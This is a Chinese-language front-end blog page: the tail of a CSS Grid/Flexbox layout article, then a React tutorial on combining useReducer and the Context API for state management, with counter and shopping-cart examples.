  • 利用 Grid 的 minmax()repeat() 函数实现自适应布局
  • 使用 Flexbox 的 flex-wrap 属性处理元素的换行

5. 浏览器兼容性

  • CSS Grid 在现代浏览器中得到广泛支持,但在旧版浏览器(如 IE 11)中支持有限
  • Flexbox 在所有现代浏览器中都有良好的支持
  • 如果需要支持旧版浏览器,可以使用 CSS Grid 的 grid-template-areasgrid-area 属性,这些属性在 IE 11 中有基本支持

📝 总结

通过结合使用 CSS Grid 和 Flexbox,我们可以:

  1. 实现复杂布局:快速构建传统布局技术难以完成的复杂界面
  2. 提高开发效率:减少布局嵌套层级,简化代码结构
  3. 增强响应式能力:更好地适配各种屏幕尺寸和设备
  4. 提升用户体验:创建更加灵活和直观的界面布局
  5. 优化代码可维护性:分离布局结构和内容,便于后续修改和扩展

在实际项目中,我们应该根据具体需求选择合适的布局技术,合理搭配使用 CSS Grid 和 Flexbox,发挥它们各自的优势,创建高效、灵活、可维护的前端布局。

希望这个小技巧对你有所帮助!如果你有任何问题或建议,欢迎在评论区留言讨论 🤗


相关资源:

标签: #CSS #Grid #Flexbox #响应式设计 #前端布局

React轻量级状态管理方案(useReducer + Context API)

作者 dorisrv
2025年12月9日 09:48

React轻量级状态管理方案(useReducer + Context API)

🤔 为什么需要轻量级状态管理?

在React应用开发中,随着组件层次的增加和状态复杂度的提升,传统的props传递方式会变得越来越繁琐:

  • 多层级组件需要通过props逐层传递数据(props drilling)
  • 多个组件共享同一份状态时,状态同步变得困难
  • 组件间通信需要通过复杂的回调函数
  • 大型状态管理库(如Redux)可能带来不必要的复杂性

对于中等规模的应用,我们可以使用React内置的useReducerContext API组合,实现一个轻量级、高效的状态管理方案,既避免了props drilling,又不需要引入额外的依赖。

💡 基础概念

1. useReducer Hook

useReducer是React提供的一个Hook,用于管理复杂的状态逻辑。它类似于Redux的思想:

  • 状态通过reducer函数进行更新
  • 状态更新需要派发(dispatch)一个动作(action)
  • reducer函数接收当前状态和动作,返回新的状态

语法

const [state, dispatch] = useReducer(reducer, initialState);

2. Context API

Context API是React提供的一种在组件树中共享数据的方式,不需要通过props逐层传递:

  • 使用createContext创建一个Context对象
  • 使用Provider组件包裹需要共享数据的组件树
  • 使用useContext在子组件中获取共享数据

语法

// 创建Context
const MyContext = createContext(defaultValue);

// 提供Context
<MyContext.Provider value={value}>
  {/* 子组件 */}
</MyContext.Provider>

// 消费Context
const value = useContext(MyContext);

🚀 基础实现:计数器应用

让我们先通过一个简单的计数器应用,了解useReducerContext API的基础用法。

1. 创建状态管理文件

// src/contexts/CounterContext.js
import React, { createContext, useContext, useReducer } from 'react';

// 定义初始状态
const initialState = {
  count: 0,
  history: [0],
  isUndoDisabled: true,
  isRedoDisabled: true
};

// 定义action类型
const ActionTypes = {
  INCREMENT: 'INCREMENT',
  DECREMENT: 'DECREMENT',
  RESET: 'RESET',
  UNDO: 'UNDO',
  REDO: 'REDO',
  SET_COUNT: 'SET_COUNT'
};

// 创建reducer函数
const counterReducer = (state, action) => {
  switch (action.type) {
    case ActionTypes.INCREMENT:
      return {
        ...state,
        count: state.count + 1,
        history: [...state.history, state.count + 1],
        currentIndex: state.history.length,
        isUndoDisabled: false,
        isRedoDisabled: true
      };
      
    case ActionTypes.DECREMENT:
      return {
        ...state,
        count: state.count - 1,
        history: [...state.history, state.count - 1],
        currentIndex: state.history.length,
        isUndoDisabled: false,
        isRedoDisabled: true
      };
      
    case ActionTypes.RESET:
      return {
        ...state,
        count: 0,
        history: [...state.history, 0],
        currentIndex: state.history.length,
        isUndoDisabled: false,
        isRedoDisabled: true
      };
      
    case ActionTypes.UNDO:
      if (state.currentIndex <= 0) return state;
      const newIndex = state.currentIndex - 1;
      return {
        ...state,
        count: state.history[newIndex],
        currentIndex: newIndex,
        isUndoDisabled: newIndex === 0,
        isRedoDisabled: false
      };
      
    case ActionTypes.REDO:
      if (state.currentIndex >= state.history.length - 1) return state;
      const nextIndex = state.currentIndex + 1;
      return {
        ...state,
        count: state.history[nextIndex],
        currentIndex: nextIndex,
        isUndoDisabled: false,
        isRedoDisabled: nextIndex === state.history.length - 1
      };
      
    case ActionTypes.SET_COUNT:
      return {
        ...state,
        count: action.payload,
        history: [...state.history.slice(0, state.currentIndex + 1), action.payload],
        currentIndex: state.currentIndex + 1,
        isUndoDisabled: false,
        isRedoDisabled: true
      };
      
    default:
      return state;
  }
};

// 创建Context
const CounterContext = createContext(null);

// 创建Provider组件
export const CounterProvider = ({ children }) => {
  const [state, dispatch] = useReducer(counterReducer, initialState);
  
  // 定义操作函数
  const actions = {
    increment: () => dispatch({ type: ActionTypes.INCREMENT }),
    decrement: () => dispatch({ type: ActionTypes.DECREMENT }),
    reset: () => dispatch({ type: ActionTypes.RESET }),
    undo: () => dispatch({ type: ActionTypes.UNDO }),
    redo: () => dispatch({ type: ActionTypes.REDO }),
    setCount: (value) => dispatch({ type: ActionTypes.SET_COUNT, payload: value })
  };
  
  return (
    <CounterContext.Provider value={{ state, ...actions }}>
      {children}
    </CounterContext.Provider>
  );
};

// 创建自定义Hook,方便在组件中使用
export const useCounter = () => {
  const context = useContext(CounterContext);
  if (!context) {
    throw new Error('useCounter must be used within a CounterProvider');
  }
  return context;
};

2. 在应用中使用Provider

// src/App.js
import React from 'react';
import { CounterProvider } from './contexts/CounterContext';
import CounterDisplay from './components/CounterDisplay';
import CounterControls from './components/CounterControls';
import CounterHistory from './components/CounterHistory';

function App() {
  return (
    <CounterProvider>
      <div className="app">
        <h1>React 轻量级状态管理示例</h1>
        <CounterDisplay />
        <CounterControls />
        <CounterHistory />
      </div>
    </CounterProvider>
  );
}

export default App;

3. 创建消费组件

// src/components/CounterDisplay.js
import React from 'react';
import { useCounter } from '../contexts/CounterContext';

const CounterDisplay = () => {
  const { state } = useCounter();
  
  return (
    <div className="counter-display">
      <h2>当前计数:</h2>
      <div className="count-value">{state.count}</div>
    </div>
  );
};

export default CounterDisplay;

// src/components/CounterControls.js
import React from 'react';
import { useCounter } from '../contexts/CounterContext';

const CounterControls = () => {
  const { increment, decrement, reset, undo, redo, state } = useCounter();
  
  return (
    <div className="counter-controls">
      <button onClick={increment}>+1</button>
      <button onClick={decrement}>-1</button>
      <button onClick={reset}>重置</button>
      <button 
        onClick={undo} 
        disabled={state.isUndoDisabled}
        title="撤销"
      ></button>
      <button 
        onClick={redo} 
        disabled={state.isRedoDisabled}
        title="重做"
      ></button>
    </div>
  );
};

export default CounterControls;

// src/components/CounterHistory.js
import React from 'react';
import { useCounter } from '../contexts/CounterContext';

const CounterHistory = () => {
  const { state, setCount } = useCounter();
  
  return (
    <div className="counter-history">
      <h3>计数历史</h3>
      <div className="history-list">
        {state.history.map((count, index) => (
          <button
            key={index}
            className={`history-item ${index === state.currentIndex ? 'active' : ''}`}
            onClick={() => setCount(count)}
          >
            {count}
          </button>
        ))}
      </div>
    </div>
  );
};

export default CounterHistory;

🎯 进阶实现:购物车应用

让我们通过一个更复杂的购物车应用,展示这个状态管理方案的强大功能。

1. 创建购物车状态管理

// src/contexts/CartContext.js
import React, { createContext, useContext, useReducer } from 'react';

// 定义初始状态
const initialState = {
  items: [],
  totalItems: 0,
  totalPrice: 0
};

// 定义action类型
const ActionTypes = {
  ADD_ITEM: 'ADD_ITEM',
  REMOVE_ITEM: 'REMOVE_ITEM',
  UPDATE_QUANTITY: 'UPDATE_QUANTITY',
  CLEAR_CART: 'CLEAR_CART',
  TOGGLE_ITEM_SELECTION: 'TOGGLE_ITEM_SELECTION',
  SELECT_ALL_ITEMS: 'SELECT_ALL_ITEMS'
};

// 创建reducer函数
const cartReducer = (state, action) => {
  switch (action.type) {
    case ActionTypes.ADD_ITEM: {
      const { product, quantity = 1 } = action.payload;
      const existingItemIndex = state.items.findIndex(item => item.product.id === product.id);
      
      let newItems;
      if (existingItemIndex >= 0) {
        // 商品已存在,更新数量
        newItems = [...state.items];
        newItems[existingItemIndex] = {
          ...newItems[existingItemIndex],
          quantity: newItems[existingItemIndex].quantity + quantity
        };
      } else {
        // 新商品,添加到购物车
        newItems = [...state.items, { product, quantity, selected: true }];
      }
      
      return calculateTotals(newItems);
    }
    
    case ActionTypes.REMOVE_ITEM: {
      const newItems = state.items.filter(item => item.product.id !== action.payload);
      return calculateTotals(newItems);
    }
    
    case ActionTypes.UPDATE_QUANTITY: {
      const { productId, quantity } = action.payload;
      if (quantity <= 0) {
        return state;
      }
      
      const newItems = state.items.map(item => 
        item.product.id === productId 
          ? { ...item, quantity } 
          : item
      );
      
      return calculateTotals(newItems);
    }
    
    case ActionTypes.CLEAR_CART: {
      return initialState;
    }
    
    case ActionTypes.TOGGLE_ITEM_SELECTION: {
      const newItems = state.items.map(item => 
        item.product.id === action.payload 
          ? { ...item, selected: !item.selected } 
          : item
      );
      
      return calculateTotals(newItems);
    }
    
    case ActionTypes.SELECT_ALL_ITEMS: {
      const { selected } = action.payload;
      const newItems = state.items.map(item => ({ ...item, selected }));
      return calculateTotals(newItems);
    }
    
    default:
      return state;
  }
};

// 计算购物车总计
const calculateTotals = (items) => {
  const totalItems = items.reduce((sum, item) => sum + item.quantity, 0);
  const totalPrice = items.reduce((sum, item) => 
    sum + (item.selected ? item.product.price * item.quantity : 0), 0
  );
  
  return {
    items,
    totalItems,
    totalPrice
  };
};

// 创建Context
const CartContext = createContext(null);

// 创建Provider组件
export const CartProvider = ({ children }) => {
  const [state, dispatch] = useReducer(cartReducer, initialState);
  
  // 定义操作函数
  const actions = {
    addItem: (product, quantity = 1) => 
      dispatch({ type: ActionTypes.ADD_ITEM, payload: { product, quantity } }),
    
    removeItem: (productId) => 
      dispatch({ type: ActionTypes.REMOVE_ITEM, payload: productId }),
    
    updateQuantity: (productId, quantity) => 
      dispatch({ type: ActionTypes.UPDATE_QUANTITY, payload: { productId, quantity } }),
    
    clearCart: () => 
      dispatch({ type: ActionTypes.CLEAR_CART }),
    
    toggleItemSelection: (productId) => 
      dispatch({ type: ActionTypes.TOGGLE_ITEM_SELECTION, payload: productId }),
    
    selectAllItems: (selected) => 
      dispatch({ type: ActionTypes.SELECT_ALL_ITEMS, payload: { selected } })
  };
  
  // 导出额外的计算属性
  const computed = {
    // 获取选中的商品
    selectedItems: state.items.filter(item => item.selected),
    // 获取选中商品的数量
    selectedItemsCount: state.items.reduce((sum, item) => 
      sum + (item.selected ? item.quantity : 0), 0
    ),
    // 是否全选
    isAllSelected: state.items.length > 0 && state.items.every(item => item.selected)
  };
  
  return (
    <CartContext.Provider value={{ state, ...actions, ...computed }}>
      {children}
    </CartContext.Provider>
  );
};

// 创建自定义Hook
export const useCart = () => {
  const context = useContext(CartContext);
  if (!context) {
    throw new Error('useCart must be used within a CartProvider');
  }
  return context;
};

2. 商品列表组件

// src/components/ProductList.js
import React from 'react';
import { useCart } from '../contexts/CartContext';

const ProductList = () => {
  // 模拟商品数据
  const products = [
    { id: 1, name: 'React Hooks 实战', price: 89.99, category: '书籍' },
    { id: 2, name: 'JavaScript 高级程序设计', price: 99.99, category: '书籍' },
    { id: 3, name: '前端工程化实践', price: 79.99, category: '书籍' },
    { id: 4, name: 'Vue.js 从入门到精通', price: 85.99, category: '书籍' },
    { id: 5, name: 'TypeScript 权威指南', price: 95.99, category: '书籍' }
  ];
  
  const { addItem } = useCart();
  
  return (
    <div className="product-list">
      <h2>商品列表</h2>
      <div className="products">
        {products.map(product => (
          <div key={product.id} className="product-card">
            <h3>{product.name}</h3>
            <p className="product-price">¥{product.price.toFixed(2)}</p>
            <p className="product-category">{product.category}</p>
            <button 
              className="add-to-cart-btn"
              onClick={() => addItem(product, 1)}
            >
              添加到购物车
            </button>
          </div>
        ))}
      </div>
    </div>
  );
};

export default ProductList;

3. 购物车组件

// src/components/ShoppingCart.js
import React from 'react';
import { useCart } from '../contexts/CartContext';

const ShoppingCart = () => {
  const { 
    state, 
    removeItem, 
    updateQuantity, 
    clearCart, 
    toggleItemSelection,
    selectAllItems,
    isAllSelected,
    selectedItemsCount
  } = useCart();
  
  return (
    <div className="shopping-cart">
      <h2>购物车 ({state.totalItems} 件商品)</h2>
      
      {state.items.length === 0 ? (
        <p className="empty-cart">购物车是空的</p>
      ) : (
        <>
          <div className="cart-header">
            <button 
              className="select-all-btn"
              onClick={() => selectAllItems(!isAllSelected)}
            >
              {isAllSelected ? '取消全选' : '全选'}
            </button>
            <button 
              className="clear-cart-btn"
              onClick={clearCart}
            >
              清空购物车
            </button>
          </div>
          
          <div className="cart-items">
            {state.items.map(item => (
              <div key={item.product.id} className="cart-item">
                <div className="item-select">
                  <input 
                    type="checkbox" 
                    checked={item.selected} 
                    onChange={() => toggleItemSelection(item.product.id)}
                  />
                </div>
                
                <div className="item-info">
                  <h4>{item.product.name}</h4>
                  <p className="item-price">¥{item.product.price.toFixed(2)}</p>
                </div>
                
                <div className="item-quantity">
                  <button 
                    className="quantity-btn"
                    onClick={() => updateQuantity(item.product.id, item.quantity - 1)}
                  >
                    -
                  </button>
                  <span>{item.quantity}</span>
                  <button 
                    className="quantity-btn"
                    onClick={() => updateQuantity(item.product.id, item.quantity + 1)}
                  >
                    +
                  </button>
                </div>
                
                <div className="item-total">
                  ¥{(item.product.price * item.quantity).toFixed(2)}
                </div>
                
                <button 
                  className="remove-btn"
                  onClick={() => removeItem(item.product.id)}
                >
                  删除
                </button>
              </div>
            ))}
          </div>
          
          <div className="cart-summary">
            <div className="summary-info">
              <p>已选商品:{selectedItemsCount} 件</p>
              <p>合计:<span className="total-price">¥{state.totalPrice.toFixed(2)}</span></p>
            </div>
            <button className="checkout-btn">去结算</button>
          </div>
        </>
      )}
    </div>
  );
};

export default ShoppingCart;

⚠️ 注意事项

1. 性能优化

  • 避免不必要的重渲染:使用React.memo优化组件,避免因Context更新导致所有子组件重渲染
  • 拆分Context:根据功能将状态拆分为多个独立的Context,避免单一Context过大
  • 使用useMemo:在Provider中使用useMemo缓存值,避免不必要的Context值更新
// 在Provider中使用useMemo优化
const value = useMemo(() => ({ state, ...actions }), [state, actions]);

return (
  <CounterContext.Provider value={value}>
    {children}
  </CounterContext.Provider>
);

2. 状态设计原则

  • 单一数据源:每个状态最好只在一个地方管理
  • 不可变性:状态更新时应返回新的状态对象,而不是直接修改原状态
  • 合理拆分:将相关的状态和操作放在一起,避免单一reducer处理所有状态

3. 调试技巧

  • 使用React DevTools的Context选项卡查看Context值
  • 在reducer函数中添加日志,跟踪状态更新过程
  • 使用Redux DevTools Extension(需要额外配置)查看状态历史和action记录

4. 应用场景

这种轻量级状态管理方案适用于:

  • 中等规模的React应用
  • 需要避免props drilling的组件树
  • 多个组件共享同一份状态
  • 不希望引入额外依赖的项目

对于大型复杂应用,可能仍然需要使用专业的状态管理库(如Redux、MobX)。

📝 总结

通过组合使用React内置的useReducerContext API,我们可以实现一个轻量级、高效的状态管理方案:

  1. 避免props drilling:通过Context在组件树中直接共享状态
  2. 集中管理状态:使用reducer函数统一处理状态更新逻辑
  3. 简化组件间通信:组件可以直接获取和更新共享状态
  4. 无需额外依赖:利用React内置功能,减少项目依赖
  5. 良好的可维护性:状态逻辑与UI组件分离,便于测试和维护

这种方案兼顾了简洁性和功能性,是中等规模React应用的理想选择。通过合理的状态设计和性能优化,我们可以构建出高效、可维护的前端应用。

希望这个小技巧对你有所帮助!如果你有任何问题或建议,欢迎在评论区留言讨论 🤗


相关资源:

标签: #React #状态管理 #useReducer #ContextAPI #前端开发

❌
❌